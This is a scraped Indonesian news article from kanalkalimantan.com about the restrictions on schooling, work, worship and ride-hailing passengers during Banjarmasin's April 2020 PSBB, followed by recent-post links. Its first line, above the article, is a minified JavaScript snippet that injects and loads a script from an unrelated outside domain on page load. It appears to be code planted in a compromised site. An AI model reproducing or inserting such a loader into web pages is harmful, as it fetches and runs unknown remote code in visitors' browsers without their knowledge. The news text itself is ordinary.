(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Ini Hal-hal yang Dibatasi Selama PSBB di Banjarmasin


KANALKALIMANTAN.COM, BANJARMASIN – Penerapan pembatasan sosial berskala besar (PSBB) di Kota Banjarmasin nantinya akan membatasi sejumlah aktivitas yang berpotensi mengumpulkan massa.

Juru Bicara Tim Gugus Tugas Percepatan Penanganan Covid-19 Kota Banjarmasin Dr Machli Riyadi menjelaskan, Peraturan Wali Kota Banjarmasin Nomor 33 Tahun 2020, diatur pembatasan-pembatasan, seperti pembatasan aktivitas belajar mengajar baik di sekolah maupun di kampus, dan pembatasan aktivitas kerja. Sebagai gantinya, keduanya dilaksanakan di rumah.

“Pembatasan lainnya adalah kegiatan beribadah. Jadi, selama PSBB, untuk beribadah cukup di rumah saja,” ucap Machli di Balai Kota Banjarmasin, Kamis (23/4/2020) pagi.

Kegiatan ibadah yang dimaksud, berlaku baik di mesjid, musholla maupun gereja. Semua kegiatan ibadah di tempat itu, dihentikan sementara waktu selama 14 hari ke depan, terhitung dimulainya PSBB pada Jum’at (24/4/2020) besok.

“Nantinya akan kita evaluasi berdasarkan pertimbangan seluruh Tim Gugus Tugas di Banjarmasin,” lugasnya.

Tak hanya itu, pembatasan juga berlaku untuk transportasi ojek online. Di mana, pengemudi (driver) ojek online hanya diperbolehkan membawa barang atau makanan yang dipesan oleh masyarakat.

“Tidak boleh membawa penumpang, tapi membawa bahan makanan yang barangkali dipesan oleh masyarakat,” ucap Machli.

Namun demikian, ada sejumlah pengecualian. Machli mencontohkan, pekerja yang bekerja di instansi yang menangani kebutuhan pokok masyarakat dan layanan kesehatan.

“Termasuk perusahaan  yang menangani listrik, air, bahan bakar dan elpiji. Ini dikecualikan dalam PSBB ini,” pungkas Machli. (kanalkalimantan.com/fikri)

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Kontestan Kepala Daerah di Kalsel Ditantang Miliki Visi Majukan Perpustakaan

KANALKALIMANTAN.COM, BANJARMASIN - Tim Tenaga Ahli Gubernur Kalimantan Selatan (Kalsel) melakukan kunjungan ke Dinas Perpustakaan… Read More

2 jam ago

Instansi Vertikal Disiapkan Masuk SKPD Instansi Mengajar di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Pendidikan (Disdik) Kota Banjarbaru siap menggandeng instansi vertikal di Kota Banjarbaru,… Read More

3 jam ago

780 Anggota PPK se Kalsel Dilantik, Bertugas 8 Bulan

KANALKALIMANTAN.COM, BANJARBARU - Seluruh Panitia Pemilihan Kecamatan (PPK) di Provinsi Kalimantan Selatan (Kalsel) resmi dilantik… Read More

3 jam ago

25 Anggota PPK Kota Banjarbaru Dilantik, Langsung Bekerja Membentuk Sekretariat

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru resmi melantik 25 orang anggota Panitia… Read More

6 jam ago

Kearifan Lokal Kalsel Harus Dibaca dan Ditulis Generasi Muda

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan Provinsi Kalimantan Selatan (Kalsel) menggelar acara sosialisasi budaya… Read More

18 jam ago

Sekda HSU Sampaikan Raperda Pertanggungjawaban Pelaksanaan APBD 2023, Ini Angka Detailnya

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana menyebut capaian target… Read More

19 jam ago

This website uses cookies.